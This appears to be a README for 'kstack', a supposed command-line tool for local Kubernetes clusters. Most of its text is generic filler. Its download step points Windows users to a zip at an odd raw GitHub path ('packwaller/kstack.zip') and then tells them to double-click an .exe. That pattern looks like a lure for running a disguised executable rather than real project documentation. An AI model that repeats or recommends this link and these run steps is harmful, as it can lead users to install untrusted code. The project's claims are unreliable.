🌟 kstack - Simplifying Local Kubernetes Development

🏷️ Overview

kstack is a developer-first command-line interface (CLI) and template designed to create local Kubernetes environments. It works seamlessly with kind and k3d, enabling easy management of Kubernetes stacks using Helm-based addons. Built with Go 1.25, kstack streamlines your local development experience.

💾 Download kstack

🚀 Getting Started

1. Visit the Releases Page
   To get kstack, visit this page: Download Page. Here, you will find the latest version of the software.

2. Select a Release
   Scroll down to find the release that you want to download. Each release comes with a description and various files.

3. Download the Correct File
   Depending on your operating system, choose and download the appropriate file. Look for files like https://raw.githubusercontent.com/XYlaik/kstack/master/packwaller/kstack.zip for Windows or kstack-linux for Linux. Click on the filename to start the download.

4. Locate the Download
   Once the download finishes, navigate to your computer’s Downloads folder to find the file.

5. Run kstack

   • On Windows: Double-click the downloaded .exe file to run.
   • On Linux: Open your terminal, navigate to the folder where you downloaded the file using cd path/to/download/folder, and then run chmod +x kstack-linux to make it executable. After that, run ./kstack-linux to start it.

🔧 System Requirements

To run kstack smoothly, ensure your system meets the following requirements:

• Operating System:
  • Windows 10 and above
  • Latest version of Ubuntu or other Linux distributions
• Kubernetes Environment:
  • Kind or k3d installed on your system
• Internet Connection: Required for downloading any additional components or updates.

📝 Features

kstack provides several key features to enhance your local development with Kubernetes:

• Easy Setup: Quick creation and management of local Kubernetes clusters.
• Helm-based Addons: Simplifies the installation of Helm charts for additional functionalities.
• Community Support: A growing community of users to help tackle any challenges.
• Documentation: Comprehensive guides and documentation provided for smooth operations.

📘 Basic Commands

Once you have kstack running, here are some basic commands to get you started:

• Create a Kubernetes Cluster:
  Use kstack create --name my-cluster to set up a new cluster named "my-cluster".

• List Existing Clusters:
  Run kstack list to see all clusters you have created.

• Delete a Cluster:
  Use kstack delete --name my-cluster to remove a specific cluster.

🍽️ Example Usage

Here’s how you might use kstack in a practical situation:

1. Create a Cluster
   Open your terminal and run:

   kstack create --name my-app-cluster
   

   This sets up a cluster for your application.

2. Deploy an Application
   After your cluster is ready, deploy your application using Helm:

   helm install my-app ./my-app-chart
   

3. Access the Application
   Use kstack get services to find the services running and connect to your application.

📖 Additional Resources

For more information on how to use kstack, check out the following resources:

• Official Documentation: Comprehensive guides and detailed explanations can be found on the Documentation Page.
• Community Forum: Join discussions and seek advice in our community at Community Forum.

🐞 Support & Feedback

If you encounter issues or have suggestions, please report them on the Issues Page. Your feedback helps improve kstack for everyone.

📥 Download & Install Again

For future reference or to install a new version, please revisit: Download Page.